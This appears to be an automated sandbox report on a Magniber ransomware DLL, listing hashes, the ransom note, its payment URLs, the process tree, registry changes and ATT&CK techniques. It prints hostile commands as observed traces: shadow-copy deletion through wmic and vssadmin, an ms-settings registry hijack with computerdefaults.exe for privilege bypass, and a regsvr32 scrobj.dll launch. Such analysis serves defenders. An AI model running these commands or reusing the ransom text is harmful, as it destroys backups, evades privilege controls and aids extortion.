magniber | 9209b297a4d3af1a82e4a60fa45fa558f08a502ebcf5dc2fa487505fd72be331

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
25-12-2023 17:22

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General

Target

3088d9d808dd030a756633437f351b13.dll
Size

33KB
MD5

3088d9d808dd030a756633437f351b13
SHA1

a4e78428c7aa5f14681a313fd3f92c9267e9469a
SHA256

9209b297a4d3af1a82e4a60fa45fa558f08a502ebcf5dc2fa487505fd72be331
SHA512

2db4cc645b040f5e5e73d61db8342b40b5fd592ad96b5187d8513e5fd6864da6306ebc887b58df7ebf94f00aac703a3acfe30e326bd9bf7eec49a27276d75b70
SSDEEP

768:JxnHytUcpkucln36De22PJNFai4OLS5wz3YKUt4fSsDZ:J0DkVV6Dh2dHrdzrbNZ

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://7278d0001c94b63022emkyhecy.yeipgu36oui5z4yvck5w6d252oo3h7ktcsxvs3m2wac6ezmti2iotzad.onion/emkyhecy Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://7278d0001c94b63022emkyhecy.mixedon.xyz/emkyhecy http://7278d0001c94b63022emkyhecy.actmake.site/emkyhecy http://7278d0001c94b63022emkyhecy.spiteor.space/emkyhecy http://7278d0001c94b63022emkyhecy.bearsat.space/emkyhecy Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://7278d0001c94b63022emkyhecy.yeipgu36oui5z4yvck5w6d252oo3h7ktcsxvs3m2wac6ezmti2iotzad.onion/emkyhecy

http://7278d0001c94b63022emkyhecy.mixedon.xyz/emkyhecy

http://7278d0001c94b63022emkyhecy.actmake.site/emkyhecy

http://7278d0001c94b63022emkyhecy.spiteor.space/emkyhecy

http://7278d0001c94b63022emkyhecy.bearsat.space/emkyhecy

Signatures

Detect magniber ransomware 1 IoCs

resource	yara_rule
behavioral2/memory/4492-23-0x000001A664DD0000-0x000001A665715000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	860	3200	cmd.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3972	3200	cmd.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4292	3200	vssadmin.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4520	3200	vssadmin.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4824	3200	vssadmin.exe	104

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (91) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 2 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4824	vssadmin.exe
4292	vssadmin.exe
4520	vssadmin.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000_Classes\ms-settings\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000_Classes\ms-settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000_Classes\ms-settings\shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000_Classes\ms-settings\shell\open	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4360	notepad.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2012	msedge.exe
2012	msedge.exe
1860	msedge.exe
1860	msedge.exe
4512	identity_helper.exe
4512	identity_helper.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4404	wmic.exe
Token: SeSecurityPrivilege	4404	wmic.exe
Token: SeTakeOwnershipPrivilege	4404	wmic.exe
Token: SeLoadDriverPrivilege	4404	wmic.exe
Token: SeSystemProfilePrivilege	4404	wmic.exe
Token: SeSystemtimePrivilege	4404	wmic.exe
Token: SeProfSingleProcessPrivilege	4404	wmic.exe
Token: SeIncBasePriorityPrivilege	4404	wmic.exe
Token: SeCreatePagefilePrivilege	4404	wmic.exe
Token: SeBackupPrivilege	4404	wmic.exe
Token: SeRestorePrivilege	4404	wmic.exe
Token: SeShutdownPrivilege	4404	wmic.exe
Token: SeDebugPrivilege	4404	wmic.exe
Token: SeSystemEnvironmentPrivilege	4404	wmic.exe
Token: SeRemoteShutdownPrivilege	4404	wmic.exe
Token: SeUndockPrivilege	4404	wmic.exe
Token: SeManageVolumePrivilege	4404	wmic.exe
Token: 33	4404	wmic.exe
Token: 34	4404	wmic.exe
Token: 35	4404	wmic.exe
Token: 36	4404	wmic.exe
Token: SeIncreaseQuotaPrivilege	3428	WMIC.exe
Token: SeSecurityPrivilege	3428	WMIC.exe
Token: SeTakeOwnershipPrivilege	3428	WMIC.exe
Token: SeLoadDriverPrivilege	3428	WMIC.exe
Token: SeSystemProfilePrivilege	3428	WMIC.exe
Token: SeSystemtimePrivilege	3428	WMIC.exe
Token: SeProfSingleProcessPrivilege	3428	WMIC.exe
Token: SeIncBasePriorityPrivilege	3428	WMIC.exe
Token: SeCreatePagefilePrivilege	3428	WMIC.exe
Token: SeBackupPrivilege	3428	WMIC.exe
Token: SeRestorePrivilege	3428	WMIC.exe
Token: SeShutdownPrivilege	3428	WMIC.exe
Token: SeDebugPrivilege	3428	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3428	WMIC.exe
Token: SeRemoteShutdownPrivilege	3428	WMIC.exe
Token: SeUndockPrivilege	3428	WMIC.exe
Token: SeManageVolumePrivilege	3428	WMIC.exe
Token: 33	3428	WMIC.exe
Token: 34	3428	WMIC.exe
Token: 35	3428	WMIC.exe
Token: 36	3428	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4404	wmic.exe
Token: SeSecurityPrivilege	4404	wmic.exe
Token: SeTakeOwnershipPrivilege	4404	wmic.exe
Token: SeLoadDriverPrivilege	4404	wmic.exe
Token: SeSystemProfilePrivilege	4404	wmic.exe
Token: SeSystemtimePrivilege	4404	wmic.exe
Token: SeProfSingleProcessPrivilege	4404	wmic.exe
Token: SeIncBasePriorityPrivilege	4404	wmic.exe
Token: SeCreatePagefilePrivilege	4404	wmic.exe
Token: SeBackupPrivilege	4404	wmic.exe
Token: SeRestorePrivilege	4404	wmic.exe
Token: SeShutdownPrivilege	4404	wmic.exe
Token: SeDebugPrivilege	4404	wmic.exe
Token: SeSystemEnvironmentPrivilege	4404	wmic.exe
Token: SeRemoteShutdownPrivilege	4404	wmic.exe
Token: SeUndockPrivilege	4404	wmic.exe
Token: SeManageVolumePrivilege	4404	wmic.exe
Token: 33	4404	wmic.exe
Token: 34	4404	wmic.exe
Token: 35	4404	wmic.exe
Token: 36	4404	wmic.exe
Token: SeIncreaseQuotaPrivilege	384	WMIC.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe
1860	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 4360	4492	rundll32.exe	92
PID 4492 wrote to memory of 4360	4492	rundll32.exe	92
PID 4492 wrote to memory of 3860	4492	rundll32.exe	93
PID 4492 wrote to memory of 3860	4492	rundll32.exe	93
PID 4492 wrote to memory of 4404	4492	rundll32.exe	94
PID 4492 wrote to memory of 4404	4492	rundll32.exe	94
PID 4492 wrote to memory of 1432	4492	rundll32.exe	96
PID 4492 wrote to memory of 1432	4492	rundll32.exe	96
PID 4492 wrote to memory of 2576	4492	rundll32.exe	98
PID 4492 wrote to memory of 2576	4492	rundll32.exe	98
PID 2576 wrote to memory of 3428	2576	cmd.exe	102
PID 2576 wrote to memory of 3428	2576	cmd.exe	102
PID 1432 wrote to memory of 384	1432	cmd.exe	103
PID 1432 wrote to memory of 384	1432	cmd.exe	103
PID 3860 wrote to memory of 1860	3860	cmd.exe	112
PID 3860 wrote to memory of 1860	3860	cmd.exe	112
PID 860 wrote to memory of 1440	860	cmd.exe	114
PID 860 wrote to memory of 1440	860	cmd.exe	114
PID 1860 wrote to memory of 920	1860	msedge.exe	115
PID 1860 wrote to memory of 920	1860	msedge.exe	115
PID 3972 wrote to memory of 1032	3972	cmd.exe	116
PID 3972 wrote to memory of 1032	3972	cmd.exe	116
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2544	1860	msedge.exe	119
PID 1860 wrote to memory of 2012	1860	msedge.exe	118
PID 1860 wrote to memory of 2012	1860	msedge.exe	118

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\3088d9d808dd030a756633437f351b13.dll,#1
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4360
- C:\Windows\system32\cmd.exe
  cmd /c "start http://7278d0001c94b63022emkyhecy.mixedon.xyz/emkyhecy^&2^&36193358^&91^&381^&2219041"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://7278d0001c94b63022emkyhecy.mixedon.xyz/emkyhecy&2&36193358&91&381&2219041
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe275a46f8,0x7ffe275a4708,0x7ffe275a4718
      4⤵
      PID:920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2100 /prefetch:2
      4⤵
      PID:2544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2808 /prefetch:8
      4⤵
      PID:4420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3212 /prefetch:1
      4⤵
      PID:1876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:1
      4⤵
      PID:2108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4100 /prefetch:1
      4⤵
      PID:3016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:1
      4⤵
      PID:3516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:8
      4⤵
      PID:2168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5552 /prefetch:1
      4⤵
      PID:1440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4224 /prefetch:1
      4⤵
      PID:288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:1
      4⤵
      PID:5348
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
      4⤵
      PID:5516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3744 /prefetch:1
      4⤵
      PID:4756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:1
      4⤵
      PID:2112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,4044554570619733020,13115664323206498201,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3996 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5200
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4404
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1432
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:384
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3428

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:860
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1440
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:744

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1032
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:304

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:4292

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4760

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3032

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:296

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:4520

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:4824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
5e77545b7e1c504b2f5ce7c5cc2ce1fe

SHA1
d81a6af13cf31fa410b85471e4509124ebeaff7e

SHA256
cbb617cd6cde793f367df016b200d35ce3c521ab901bbcb52928576bb180bc11

SHA512
cbc65c61334a8b18ece79acdb30a4af80aa9448c3edc3902b00eb48fd5038bf6013d1f3f6436c1bcb637e78c485ae8e352839ca3c9ddf7e45b3b82d23b0e6e37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
f37db64b87713bac6a029848a3e34b7f

SHA1
fe46334ba8068655b12443309d2ef575ca51f0ca

SHA256
38fea46a12e5df61e5dc89d1a16b18c30c3b3d0e2820804d330533fd1607dffb

SHA512
286b9020d73815305fed72f8dc8103c2b5833da9b5f3d4365e70dc06c2692e238e9016a556a19fc2da97e06d6ee89ff61c8e906999d6672a9f4c69bdfe96e5a2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
da7c2f85eb77901025b9525ae7e3ae9a

SHA1
ea5c585d0efd895c62e0514210b08488bdcac287

SHA256
cd6579de26daedc2932a6712aae01bdb86a4c5718d72728dcd3d74ea89b528ae

SHA512
4efec2ce3e6a3160f521d290afd1a6a3f855826258c412066434d1b26fdadb13ae6ad9a677d931e77f2d840bd5cbd93335cd27824913744004d82ff37ab7d398

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
6db2d2ceb22a030bd1caa72b32cfbf98

SHA1
fe50f35e60f88624a28b93b8a76be1377957618b

SHA256
7b22b0b16088ab7f7d6f938d7cfe9ae807856662ce3a63e7de6c8107186853e4

SHA512
